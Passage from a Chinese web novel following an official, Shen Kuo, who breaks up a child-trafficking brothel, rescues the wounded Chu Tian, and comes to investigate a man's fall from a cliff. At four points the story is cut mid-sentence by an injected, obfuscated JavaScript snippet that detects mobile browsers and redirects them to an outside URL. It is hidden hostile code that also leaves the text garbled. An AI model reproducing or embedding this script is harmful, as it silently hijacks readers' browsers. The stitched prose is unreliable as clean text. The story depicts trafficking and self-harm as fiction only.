“大人放心，奴家可助大人一臂之力。”说着，红儿便袖中掏出了一本账册，“这里面详细记载了胡老六这些年来买卖幼童逼良为娼的证据，当然，里面也有他与某些朝中重臣暗中勾结和行贿的证据，大人想查到哪个程度，全凭大人做主。” 沈阔接过账册粗略看了一眼，“你就不怕胡老六的同伙报复你？” 红儿笑道：“若大人查到他们了，那奴家何需再怕？即便大人没有查到，也无所谓，商人薄情，唯利是图，只要奴家给他们的比胡老六的多，他们就会笑着接纳奴家。” “你就那么确信他们会要一个背叛者？”沈阔继续试探。 红儿道：“这是个吃人的世道，不是穷酸书生写的非黑即白的话本，背叛者又如何，或许他们正好看中奴家不择手段的本事呢？大人啊，有利可图，就是朋友。” 沈阔深沉的目光盯着红儿看了许久，这一刹那，他的心中触感颇深，红儿的行事的手段是最让他不齿的，可他偏偏又不能将全部都怪到她的身上。 有一点红儿说得很对，这不是一个非黑即白的世道，人站的角度不同，看法自然也就不一样。就比如这些在沈阔看来很是肮脏的手段，却是他们谋生的唯一途径。 每个人都有活下去的权利，只是他们所处的境遇注定无法让他们选择光明的途径。 “楚恬虽然厌恶这里，却从不避讳他以前的生活，他常提起你和平安，说你们给予了他很多的鼓励和帮助，你们是他那段黑暗人生中仅存的一道光，他非常地感激你们。”沈阔走到门口，手搭上门扇的时候又停了下来。 身后突然传来了轻微的哽咽声，令沈阔感到意外，可细想之下又觉得在情理之中。 人非草木，孰能无情。 他相信他们三人过去相互扶持是真心的，但红儿在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852971|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出选择的那一刻，他们便再也回不到从前了。 “还请大人替我在楚恬面前瞒下此事。”红儿低声恳求道，“我不想让他知道我是踩着他的肩爬上去的。” 沈阔并没有答应她的请求，但这毕竟是他们两人的事，他一个外人管不着，也没必要再去挑弄是非。 可沈阔还是提醒了红儿一句，“楚恬比你们想象的聪明，这件事他未必看不出其中的端倪。” “真到那个时候，他打我骂我，都是我应得的。” 沈阔哼了一声，“他不会。” 说完，沈阔猛地拉开了房门。 “大人！”候在门外的柳青立刻迎了上来，询问道，“问出有用线索了吗？” 沈阔垂眸算是默认，接着他冷冷地扫了胡老六一眼后，便带着柳青离开了。 “大人，咱这就回去了吗？”柳青跟着沈阔快步走出了弄春楼，焦急地问道，“那楚恬呢？” 沈阔没应他的话，从门口小厮手中抢过马便翻身跃了上去。 柳青紧随其后，两人跑出一里远后沈阔忽然又对柳青道：“你回衙中挑几名精兵把弄春楼的前后门守着，不要让任何人进出，更不要让胡老六给逃了，若他执意硬闯，直接将其拿下！” “是！”柳青应道，“那大人您呢？” 这时，沈阔的马犹如离弦之箭，就在柳青问话的瞬间，沈阔已然距离他数丈之远。 沈阔按照红儿给的提示，很快就找到了尤二娘在城南的新宅。 而当他悄悄从围墙翻进去的时候，正好看见尤金在楚恬身上摸来摸去。 沈阔一个疾步冲进了屋里，以迅雷之势将尤金踹飞在地。 接着，沈阔将视线移到了楚恬的身上，这才发现他的伤处皆抹了药膏，而胸口处缠着的布带刚打了一半的结。 沈阔后知后觉地反应过来，尤金刚是在为楚恬包扎伤口。 他这才又朝尤金看去，只见对方像极了翻不了身的王八仰躺在地，嘴里还“哎哟哎哟”地叫着。 沈阔那一脚可是用了八成的力，没把尤金踹死都算他命大，不过瞧他捧着右边肋骨痛苦哀嚎的样子，应是断了几根肋骨。 但沈阔已顾不得尤金了，楚恬的左胸肿得很高，鲜红的血从里面渗了出来，并顺着他的腋下流到了床上。于是沈阔又解开了他身上的裹帘，想重新为他止血时，却在看到那个令人怵目惊心的伤痕时蓦地一怔。 那个字在楚恬红肿的皮肤上，显得格外醒目。 沈阔不忍再看，拿了床头边上的金创药闻了闻味道后直接将药粉倒在了伤口上，药粉浸入血肉之后，刺激的疼痛使得昏迷的楚恬皱了皱眉。 沈阔再不敢耽搁，草草给楚恬包扎后，将他拦腰抱走。 临出门时，他停下脚步叮嘱了尤金一句，“不想死的话就乖乖躺着，有人会来接你。” 尤金听了，立刻躺好不再随便动弹，但骨裂的疼痛如锥心一般，他不由得发出阵阵“嗯嗯啊啊”的哀嚎声。 15. 第 15 章 昏迷的楚恬浑浑噩噩地做着奇奇怪怪的梦，猛然醒来时，看到熟悉的房间，仍然有种茫然不知所措的恐慌感。 胸口处时不时地传来一阵抽痛，他将冰冷的手掌覆上去，似乎隔着裹帘都能清楚地摸到匕首割过的痕迹。 回想起那晚的遭遇，疼痛都算不得什么，他的心中早已被羞辱填满。 楚恬无助地望着床帏，那象征吉祥如意的方胜纹，此刻竟也变得刺眼了起来。 推门声响起，楚恬用眼角余光瞥到了一抹熟悉的身影。 “小楚？”云儿端着盆，看到楚恬虽是睁着眼睛，可却空洞无神。 云儿被他的呆滞吓着了，赶忙放下盆伸手去探他的额头，可就在她刚要触及对方时，楚恬微微一偏头躲开了。 云儿松了口气，她用比以往更加温柔的语气哄道：“小楚，感觉好些了吗？我打了热水来给你擦下脸和身子。” 说着，云儿就要去掀被子，可楚恬不知哪儿来的力气死死抓着被角，说什么也不让云儿看。 “怎么了？”云儿疑惑，之前楚恬受伤昏迷的时候，也是云儿在照顾他，也没见他他这般抗拒过。 “云姐姐，我，我现在还不想洗。”楚恬吞吐回道。 云儿知他定是还没从惊惧中缓过来，便没有强迫他，“那我等会儿再来。” 楚恬轻轻点了点头，等到云儿重新端起盆时，他突然问：“是大人救的我吗？” “嗯。大人将你抱回来的时候，你全身都是血，伤口深到距离心脏只差毫厘，寻常大夫束手无策，还是大人去请了御医才将你从鬼门关拉了回来。” 云儿说的一点儿也不算夸张，昨天给楚恬擦洗伤口时，水都染红了好几盆。 楚恬的眸色慢慢黯然下来，这样的话，沈阔应该都看见了。 不仅仅是沈阔，那些为他治伤的御医也看见了。 他们将如何看待沈阔？会在背后议论他捡了个脏东西回家吗？ 至于沈阔，会不会嫌弃他脏？ “大人救我了两次。”楚恬望着床帐喃喃道。 此刻，云儿还没察觉到楚恬的异样，只当他是受了惊讶的缘故，她还道：“是啊，幸亏你命大。不过小楚你下次可千万别再一个人出门了，外面乱着呢，尤其是近几年，就算你不去招惹别人，也保不齐会遇上个二话不说上来就捅人一刀的神经病。” 云儿看着楚恬惊魂未定的模样无奈叹了口气，也不知他有没有将自己的话听进去，就在她准备离开房间时，又听楚恬问起了沈阔。 “大人他，现在何处呢？” 云儿道：“大人应该还在狱中办差。他昨日提了弄春楼的当家和他的同伙回来连夜审讯，一整晚都没有回来。” 听云儿提起弄春楼，楚恬想起了红儿和平安，于是又问云儿：“云姐姐，你可知大人押回来的犯人中有一个叫红儿的吗？” 云儿歪着头想了片刻，“没听说。她也是胡老六的同伙吗？” 楚恬顿了顿，答道：“......不是，她是我的一个朋友，我担心她会受到牵连。” “既然不是胡老六的同伙，想必不会有事的。”云儿安慰他道，“那弄春楼的老鸨尤二娘不也没事么。” “尤二娘没一同被抓？”禁恬疑惑。 “对啊，弄春楼里的人大人就抓了胡老六和受指使绑架了你的伙计回来，就连那个叫尤金的都给放了，听说幸亏他先给你上了药止血，保住了你的性命，因此将功抵过了。更搞笑的是什么你知道吗，原本那姓尤的该被打板子的，但是他不知怎的折了两根肋骨，大人因此免了他的杖刑，别人都说他是为了逃板子故意摔成那样的。” 楚恬虽然没有目睹事发经过，但他也隐隐猜出了一二，眼看着云儿越说越起劲，他不得不打断了她的话，“哪会有人为了逃板子而故意摔断肋骨的，那得多疼啊。” “怎么不会！”云儿折回了楚恬床边，“肋骨折了只是听着吓人罢了，像他那般精壮的男子，休养几天就能活动自如了，而那板子打在身上，真就是皮开肉绽，趴床上养一个月都不见得能下地。” 云儿说的并非没有道理，楚恬见她深信此传言，便也没再说什么。 两人又寒暄了几句后，云儿见楚恬怏怏的，似是疲惫得很，便没再扰他清静。 云儿前脚刚走，楚恬便睁开了眼睛。他强忍剧痛撑着床坐起了身，又趿拉着鞋子慢慢走到了妆台前。 台面上只有一把木梳和一面铜镜，光滑的镜面上倒映出楚恬隐隐绰绰的身姿。 垂首间，如瀑的头发从颈间倾泻而下，他将头发全部拢到右侧后，缓缓解开了身上的裹帘。 血、药和布带已经粘连在了一起，楚恬每取下一层，都会牵扯着伤口，可他却不想停下。 直到裹帘被全部取下，在他左侧颈窝下方约一掌处，一个还没完全结痂且还在往外冒着的血珠的刻字赫然出现在他的眼前。 看着那个让备感耻辱的刻字，楚恬悲愤交加，霎时间，脖颈和额头上相继爆出了青筋。 “小楚，你怎么起来了！”刚离开不久的云儿又端着碗汤药回来，推开门，她便看见楚恬裸着上身坐在铜镜前。 楚恬闻言回过头来，双目猩红。 云儿被吓得不轻，放下托盘便朝楚恬跑了过去。 “别过来！” 楚恬急切地喊了一声，但为时已晚，云儿已经跑到了他的面前。 “啊！”楚恬身上的字仍是不可避免地被云儿看到了，惊得她不由自主地捂上了嘴，但很快她便将情绪压了下去，手忙脚乱地为楚恬重新系好了裹帘。 此时的楚恬已是一副心如死灰的神情，他也不再躲了，任由云儿为他包扎着伤口，并在她的搀扶下重新躺回了床上。 “小楚......”云儿看着双目紧闭的楚恬，安慰的话已经涌到了嘴边，可她却怎么也说不出口，最后只道了一句，“来，听话，把药喝了。” 云儿用汤匙搅散了热气，再一勺一勺地喂到楚恬的嘴边，而楚恬只是机械地张嘴、吞咽。 “小楚，别想那么多，都过去了，以后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852972|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切都会好的。” 楚恬依旧没有应声，只是在听到关门声后，两行清泪控制不住地从眼角滑落，没入了他的双鬓间。 自那天后，楚恬便将自个儿关了屋里，一句话也不愿再说。 云儿看着心焦，可现下沈阔正忙于案件的审查阶段，她又不能冒然前去打扰，只得在焦虑中期盼着沈阔能抽空回来一趟。 这个时机还真云儿等着了，这天午后，云儿偶然听到下人们在谈论沈阔可能要回来一趟的话，于是她早早地就在门口候着了。 沈阔果然回来沐浴并换了套干净的衣裳，正准备去探望楚恬时，突然发现云儿欲言又止地样子很是耐人寻味。 “我不在的时候，是发生什么事了么？”沈阔问云儿。 云儿犹豫着不知该如何开口，在沈阔的追问下，她才组织好语言将楚恬近日的状态描述给了沈阔听。 “怎么不早点儿告诉我？”沈阔紧拧着眉毛。 “奴婢不敢因为这点小事叨扰大人办差。”云儿低眉垂首。 沈阔看着云儿叹了口气，随即大步流星地朝楚恬的房间行去。 两人到了门外，才发现楚恬竟将门从里面给闩上了。 沈阔先是耐心地叩了叩门，却未能得到楚恬的回应。 “小楚他该不会想不开寻短见吧？”云儿在一旁惊呼道。 这个想法把她自己和沈阔都吓得不轻，于是沈阔后退了两步，蓄足力气后，冲上前一脚便踹断了门闩。 门扉砰地摔在两壁上，又猛地弹了回来。 沈阔眼疾手快地将门扉挡住，抬眼朝房间内一扫，便看到了趴在妆台上的楚恬。 目光下移，地面上淌着一滩血水。 “快让柳青去请晁御医来！”或许连沈阔自己都未曾注意，向来以稳重自持的他在喊出这句话的时候带着微微的颤音。 “是！”云儿转身便跑开了。 沈阔以为楚恬想不开自尽了，赶紧跑过去将他扶起来检查伤口时，才发现楚恬并非如他所想的那般寻了短见。 但楚恬所为，却是更加地让人揪心。 沈阔将楚恬抱回床上，看着他汩汩冒血的伤口，倒吸了一口凉气。 楚恬竟......他竟生生剜去了胸口上的字。 短暂的惊愕过后，沈阔赶紧寻了干净的白布按住了楚恬的伤口，直到御医到来。 “要是再晚一刻钟，他这条命就保不住了。”治疗完毕后，晁荣抹了抹额头上的冷汗，在看过那个让人怵目惊心的伤口后，他心底也是有些后怕的。 沈阔、柳青和云儿同时松了口气。 “现在的话，性命虽是无忧，但伤疤却是无论如何也避免不了的。” “晁御医，太医院就没有什么祛疤的膏药么？”柳青问。 晁荣道：“有倒是有，但只能用于小的疤痕，且都不能完全祛除，只起减轻的作用，而且因人而异，作用都不是特别的明显。对于他这个疤......” 晁荣摇了摇头，“一丁点儿的用处都没有。” 16. 重阳节登高祈寿 “你说你一个大男人，遇到这么点儿小事就寻死觅活的，丢不丢人！”柳青是个直肠子，原本关心的话从他嘴里蹦出来就变了味儿。 “我不是想要寻死，大人的恩情我都还没有报答，怎敢轻易寻死呢！” 楚恬坐在床上，像个做了错事的孩子不敢抬头。 “嗬！”柳青插着腰，转身对坐在床前的沈阔道，“大人，你可得好好训一训他，否则他下次还敢——” 柳青话还没说完便被沈阔打断，“你先出去！” 柳青：“嗯？我吗？” 沈阔扭头定定地望着柳青，楚恬也终于小心翼翼地抬起了头。 “行！”柳青点着头，转身就走了，正好眼不见心不烦。 “大人，我……”楚恬抿着唇怯怯地看着沈阔。 沈阔顺手端起床头的碗递到了楚恬手里，“不用说了，我能理解你的心情，但是我希望你以后不要再做这种傻事了。” “我知道了。”楚恬再次垂下了头。 “行了，你也别闷着了，赶紧把药喝了。”沈阔道，“这两日我要去趟外地，你好生休养。” “嗯。大人路上小心。” 沈阔点了点头，随即起身，“身子好些了就起来习字，我回来后检查。” 楚恬默默地点着头，他捧着那碗汤药，感受着掌心的热意一点点地逝去，最后才一口饮尽。 沈阔离开京城后的第三天，楚恬便撑着虚弱的身体去到了书房习字，这一去便忘了时辰，直到晚上云儿来唤他吃饭他才反应过来。 因着有事可做，楚恬也就没有空隙再胡思乱想，恍然间，他似乎明白了沈阔的真正用意。 提刑司中的侍仆依旧瞧不上他，那刘天甚至多次当着楚恬的面儿对他明嘲暗讽，陈伯对他倒是稍微客气了几分，不过倒也不足为奇，毕竟他的阅历广又惯会察言观色，从沈阔对楚恬的特殊关照上面，他觉察出了不对劲。 就以大庆朝现在的风气来讲，没什么不可能的。万一哪天真就让楚恬飞上枝头变凤凰了呢！ 陈伯也常告诫手底下的人要守好自己的本分，大多数人都能听懂他话中隐藏的含意，偏偏刘天当作耳旁风，甚至还有变本加厉的迹象。 陈伯看着刚戾的刘天，无奈摇了摇头：人各有命！ 一晃，又过去大半个月，楚恬已能活动自如。 云儿见他将自己整日整日地圈在书房中，想起沈阔临行前交待自己的话，生怕楚恬又闷出病来，于是便想着带他出去散散心。 “重阳节这天，登高辞青，顺便为家人祈寿是京中的传统，我来京城五年多了，还从没有去过呢，今日正巧得空，而用陈伯也应允了，所以小楚你就陪我去一趟吧，好不好？” 楚恬提不起兴趣，于是捂着胸口婉拒道：“云姐，我这伤吧，还没完全好，爬不了山。” 云儿却道：“我知道，所以我选的是相对平坦的松山，不高，而且是乘马车来回，不会影响你的伤势。” “求求你了，陪我去一趟嘛，好不好？” 云儿难得表现出小女子的神态，让楚恬实是难以开口拒绝。 “错过这次的话，下次不知要等到什么时候去了。”云儿央求道。 “好吧。”楚恬无奈放下了笔。 “小楚，你真是太好了！”云儿欢呼着跑出了书房，边跑还边回头道，“小楚你快点出来啊，我先去牵马车。” “好。”等楚恬整理完书帖前往府门口时，云儿和王辉早已在此等候。 王辉见了楚恬，笑呵呵地上前打起了招呼。 楚恬内敛，以微笑回应着对方的示好。 “你伤未痊愈，陈伯又觉得我一个女子驾不好车，便让王大哥跟我们同去。”云儿解释道。 楚恬点了点头，随了云儿的称呼，“劳烦王大哥了。” 王辉憨笑地看着云儿，“不麻烦，一点儿也不麻烦。” 松山离京城不远，出了城门口往西，以他们的速度，大约一个时辰的脚程便可到达。 这是楚恬自入京后第一次离城，他掀起帘子看着窗外的景象，竟意外的与他五年前的记忆相重合。 当时他与另外两个孩童一起被人牙子藏在粪桶里偷偷往京城运，三人中谁也不愿就此认命，经常偷偷顶开盖子探查外面的情况，一天夜里，三人趁人牙子打盹儿的时候，悄悄跑了出来。 当时为了不被人牙子捉住，三人商定好分了三个方向逃跑，奈何他们低估了自身的体力，其中一人在被人牙子追逐时失足掉下了山崖，另一人则被当场打死，楚恬虽是三人中年龄最大的一个，但身材却最瘦弱，也是最先被抓住的。 大概过了一个月，他才从弄春楼伙计的口中听到了那两个孩童的消息。一个曝尸荒野被狼啃食了大半副身躯，因为没有人知晓他的身份和来历，自然也就没人为他收尸，最后只剩下小半副残缺不全的骸骨，还被人嫌晦气拖到乱坟岗扔了。 至于另一个，更是杳无音信。但楚恬听人谈起过那处极具危险的悬崖，数十丈高的崖下是湍急的河流，即便那个孩子没摔死，怕也不知被浪潮卷到何处喂了鱼。 说起来，他还算三人中最幸运的一个。 恍然回想起以前，楚恬心中五味杂陈。 同样生而为人，可人与人之间怎就有着这般天壤之别。 当别人享用一日三餐时，他和阿爹在街头乞食，在别的人家其乐融融之时，他已与阿爹阴阳两隔，而那些与他同龄的人步入学堂传出琅琅书声时，他却在弄春楼学着那些令人难以启齿的招式，以便以后能更好地服侍客人。 楚恬原以为，他的一身都将折于弄春楼中。 幸好，他遇到了沈阔。 “云儿，到松山顶了，可以下车了。”王辉掀起帘子道。 “小楚，我们到了。”云儿伸手在楚恬面前晃了晃。 回过神来的楚恬随即跟着云儿下了马车。 “山上冷，别着凉了。”楚恬刚着地，肩上便多了件斗篷，他这才反应过来，出门时云儿臂弯上搭着的斗篷是给他带的。 “谢谢！”楚恬由衷感激。 转身时，余光无意瞥见了一旁的王辉，对方看到云儿无微不至地照顾着楚恬时，不开心地撇了撇嘴。 “如何，这里的景色比京城那些乌泱泱的楼台好看多了吧？”云儿深吸一口气，展开双臂尽情地感受着清风拂面的畅意。 楚恬站在凸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852973|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的瞭台，将连绵山群尽收眼底，“空山新雨，遍山红叶宛如落霞，松山的晚秋确实值得一观。”他的视线从左到右览阅着松山美景。 云儿朝他投来得意的目光，像是在说：看，我没骗你吧。 “但是好奇怪啊，除了我们这山上好像就没别人了。”王辉在周围逛了一圈也没看到一个人影，“不是说今天半个京城的人都会出门登高的吗？” 楚恬收回目光朝四周寻去，果真如王辉所言，但他很快就明白了这里没人的问题所在。 “重阳佳节，登高祈寿，图的就是一个吉利。”楚恬解释道，“可这松山景色虽美，却地处西方，所以没人来也就不奇怪了。” 王辉恍然大悟地点了点头，云儿却猝不及防地拍了下额头。 “瞧我这脑子！”云儿无比懊悔地看着楚恬，“小楚，都怪我，竟然没有考虑到这个。” 楚恬微笑着摇头道：“云姐，你别这样说，你费尽心思带我出来散心，我已很是感激了。” 云儿讶然：“你猜到啦。” 顿了顿，她又问楚恬：“那我们还去观中祈福吗？” 楚恬点了点头，又道：“人之所愿皆由心证，怎能因外物而扰？” 见二人一脸迷茫，他又补充了一句，“来都来了。” 二人的脸上瞬间扬起了笑意，三人并肩朝着不远处的清泉观行去。 观门大开，正对着的香炉上青烟袅袅，旁边的焚香塔中，飘出阵阵松香。 观中异常的安静，王辉转了几个殿阁都没有找到观中的道人。 “许是出去办事了吧。”他猜测。 楚恬也没有多想，随即便跟着云儿和王辉进了主殿行了参拜之礼。 楚恬是个孤儿，唯一求的便是希望沈阔平安和康健。 三人拜完之后，道人仍就没有现身，眼看着日头西斜，得趁着天黑之前进城，三人便开始朝着来时的路折返。 “可惜啊！”云儿意犹未尽，见另外两人朝自己投来疑惑的眼神，她又解释道，“这么美的景色，却没什么人来观赏，你们不为此感到遗憾吗？” 王辉摇了摇头，他一大字不识几个的粗人，从来不会产生这么多奇奇怪怪的想法。 “不遗憾。”楚恬弯腰拾了一片红叶，从这片叶子的形状和颜色来看，当称红叶中最完美的存在，他眉眼弯弯地说道，“至少我们来看过了，还可以带回去分享给更多的人。” 楚恬的话似乎提醒了云儿和王辉，于是两人赶紧在地上挑起了漂亮的红叶，准备带回去做装饰。 “你不再捡了些吗？”王辉回头问楚恬。 楚恬摇了摇头，捏着手中红叶的叶梗道：“这一片可抵万千，足矣。” 王辉笑了笑没说话，转身帮着云儿拾了一衣兜，两人才恋恋不舍地朝着马车行去。 “小楚，走了。”云儿喊了一声站在瞭台边上眺望远山的楚恬。 楚恬转过身来，正准备启步时突然又顿在了原地，同时，他的表情肉眼可见地变得惊恐起来。 云儿和王辉不解地朝着楚恬所看的方向望去，恰在这时，一道身影正从高崖上坠下。 砰！ 三人同时抖了一下。 17. 清泉观道长突现 “那，那是个人吗？” “是......是、是人吧？”王辉吓得脸都白了。 没人回应他。 王辉踮脚又抻头，但他们与山崖之间还隔着一片枫林，那人落到半空时，他们的视线便已被密林挡住了，根本看不见对方最后坠于何处。 不过听声音，那人定然是凶多吉少了。 就在云儿和王辉被吓得六神无主之时，楚恬已率先朝着那人坠落的方向奔跑过去。而云儿和王辉在经过短暂的愣怔过后，也紧随着楚恬的步伐跟了过去。 三人铆足了劲儿，仍是足足跑了将近半刻钟才终于穿过繁密的枫林到达了事发地。 山崖下约有三丈宽的石滩，石头大小不一，形状各异，多是从崖上滚落下来的，正好形成了一道天然的屏障将枫林和山崖相隔开。 而那个可怜的人，堪堪坠落在两块巨石之间。 因着高空坠落时的强大撞击力，那人几乎是被拦腰折断，上下半身分别耷拉在石缝的两头，殷红的血顺着缝隙直接浸到了地底下。 那人面部朝下，双手垂于头的两侧。他的脸与石头紧紧贴合在了一起，五官早已摔得面目全非，再无生还的可能。 楚恬站在尸体不远处，下意识地朝上面望去。 “他还活着吗？”云儿躲在王辉身后，想看又不敢看。 王辉亦只是匆匆瞥了一眼便别开了头，结巴着回道：“大概......是活不成了。” “啊？那怎么办？”云儿颤抖着问道，“总不能将他留在这里吧？” 说完，她王辉齐齐将目光朝楚恬投去。 楚恬的镇静让两人觉得不可思议，云儿起初还以为他是被吓傻了，壮着胆子近前扯了扯他的衣袖。 “小楚，别看了，你不怕吗？” 楚恬转过身淡然回道：“小时候我和阿爹在义庄住过好几年，各种各样的死人都见过，看得多了自然也就不怕了。” 云儿惊得瞪大了眼睛，实是想象不出楚恬以前过得究竟是怎样的日子。 “我们赶紧走吧！”王辉抱着胳膊打了个寒颤。 “走？”云儿不可置信地看了王辉一眼后，再次将目光落在楚恬身上，似是在等他拿主意。 “我们不能就这样离开。”楚恬道，“这样吧，你们两个下山去报官，我在这里守着。” 王辉刚要点头答应，却见云儿断然拒绝道：“那不成！这荒山野岭的，且不说有没有坏人，要是突然闯出个野兽来，你怎么办？” 云儿环顾四周，强忍心中的惧意，提议道：“还是让王大哥回去报官，我陪你在这儿等着。” 王辉还想再劝云儿跟自己一同回去，但他还没来得及开口便被云儿推着走了几步。 “王大哥，你可得快去快回啊！”云儿催促道。 王辉无奈，只得小跑着回了路边，驾起马车朝着山下疾驰而去。 “怎么就这么不心，竟然从崖上摔下来了。”云儿回到楚恬身边，鼓起勇气朝血肉模糊的死者看了一眼。 楚恬没有应声，他自顾地绕着尸体转了一圈，又仔细观察起四周的环境来。 云儿则站到了死者侧面，巨石正好挡了她的视线，或多或少地减轻了她心中的恐惧。 “摔成这样子，怕是连家人都认不出了。” “小楚，你别走远了！” “小楚，看着点路，别把脚扭了。” 云儿看着一刻也不得闲的楚恬，操碎了心。 楚恬巡完四周后，与云儿寻了块干净的石头坐下，不过两人屁股都还没坐热，便看见一个人牵着条狗从林中钻了出来。 “谁？”时刻警惕着的云儿最先看到来人，吓得她立刻站了起来。 与此同时，来人牵着的那条狗冲二人吠了两声。 楚恬从沉思中醒过神来，他朝来人看去，见对方年约七旬，头戴黑色道巾，身着青蓝色道袍，白眉长须，好一副仙风道骨之态。 至于他手中牵着的那条大黄狗，楚恬不久前刚见过，就在他们进清泉观祈福之时，有只一模一样的狗趴在香炉底下打盹儿。 “云姐别怕！”楚恬按下云儿的手，“若我没猜错的话，这位应该就是清泉观的道长了。” 那道人点了点头，拱手道：“贫道静虚，二位施主因何滞留于此？” 凸出的巨石刚刚挡住了静虚道长的视线，因而他没有瞧见夹在石缝中的死者。 倒是他牵着的那条黄狗应是闻到了血腥味，一直朝着前方狂吠不止。 “晚上山间有豺狼出没，二位施主还是早些回去吧。”静虚又道。 楚恬慢悠悠地走近静虚，朝后者揖了一礼后，回道：“我们暂时还不能离开。” “为何？”静虚不解。 楚恬侧身朝着巨石指去，静虚朝旁边挪了两步才看到死者，当即惊呼出声。 静虚合上双目，连着念了好几遍清心诀才静下心来。 “道长对此人可有印象？”楚恬趁机询问道。 此时，天色入暮，不觉间林中已生出了薄雾，静虚的眼睛又看不大清楚，他虚着双目看了良久也没有认出死者来。 “这......看不到面容，贫道还真有些认不出来。”静虚摇了摇头。 “他怎地死在这儿了？”静虚问楚恬。 楚恬回道：“大概是从崖上摔下来的。” “那施主可有报官？”静虚又问。 “同行者已经去了。”楚恬抬头看了空中挂着的上弦月，算了下王辉离开的时辰，“应该快回来了。” 静虚吐了口气，他看着被冻得发抖的二人指了指不远处的矮松，道：“两位施主快到树底下避会儿风吧。” 楚恬看了云儿一眼，两人搓着胳膊蹲树底下去了，静虚将狗栓在旁边的树下，他自己则盘腿坐在死者对面唱经超度亡魂。 风声簌簌，树叶沙沙作响，被绳牵着的黄狗焦躁不安地来回蹿动，无疑给诡谲之夜又多添了一丝惊悚。 约摸两刻钟后，铮铮声由远及近，铁蹄踏破了静谧的夜，最后止于枫林之外。 须臾后，烈烈火焰照亮了森森密林。 楚恬和云儿同时起身，放眼看去，令二人感到意外的是，为首者却是多日不曾相见的沈阔。 “大人，就是这里！”王辉冲到沈阔旁边指着前方道。 沈阔提着袍角快步穿出树林，借着明灭的火把，他一眼便瞧见了站在树底下的楚恬。 “大人，你怎么来了！”楚恬惊喜地迎上前去。 “我到城门口的时候，正好遇见王辉领着京兆尹孙士诚朝这边赶，得知此间发生命案后，便先行赶了过来。”沈阔扫了眼楚恬单薄的衣裳，关切地问道，“你怎么样，要不我让人先送你们回去？” 楚恬回道：“我没事，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852974|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚持得住。” 沈阔从楚恬略显苍白的面容上瞧出了他在逞强，但沈阔并未强迫楚恬离开，而是让人取了自己的披风过来。 “我也没有厚实的衣物，你先将就一下。”沈阔将披风递给了云儿，云儿立刻接过去为楚恬披上了。 楚恬拉着披风自行系了结，他见沈阔朝死者走去，便立马跟了上去。 “清虚道长也在？”沈阔看到了仍在唱经的清虚。 清虚这才站了起来，两人互相行了礼后，沈阔又转身问起了楚恬：“听王辉说，你们亲眼看见他从山上掉下来。”沈阔偏头看了眼死者，因其死状太过惨烈，他不禁蹙了下眉。 楚恬刚要开口，随后赶到的孙士诚等人也从林中钻了出来，他双手撑着膝盖，气喘吁吁地看着沈阔，惭愧道：“到底是不能与沈大人的良驹作比，——下官没迟到多久吧？” 沈阔道：“不迟，孙大人到的正是时候。” “那就好。”孙士诚气息未匀，他先是将在场所有面生的人打量了一番，接着又凑近死者粗略看了一眼。 “这......相貌损毁极其严重，怕是很难查出死者身份啊。”孙士诚无奈道。 “其实也不难。”楚恬突然开口道，“京中富绅就那么几家，随便派个人去问问哪家男主人失踪了，相信很快就能知晓对方的身份。” 闻言，孙士诚转过身，他不屑地瞧了眼楚恬，端起姿态道：“你是何人，这里有你说话的份儿吗？” 楚恬哑然，他看了眼沈阔，悻悻地低下了头。 “抱歉孙大人，忘记跟你介绍了，这位是我提刑司的人，名唤楚恬。”沈阔道。 “啊？”孙士诚一怔，随即换了副面孔，“沈大人手底下何时多出了这样一位幕僚？下官不曾得知，若有冒犯之处，还请沈大人见谅！” 沈阔淡淡地扫了孙士诚一眼，接着对楚恬道：“继续说下去。” 孙士诚亦皮笑肉不笑地看着楚恬，“这位小兄弟，明眼人都能从死者的衣着看出死者身份并非显贵之辈，为何你却要本官从富绅查起？” 楚恬顿了一顿，回道：“死者虽身穿粗布麻衣，但他的鞋履却是由上乘的麂皮制成——” 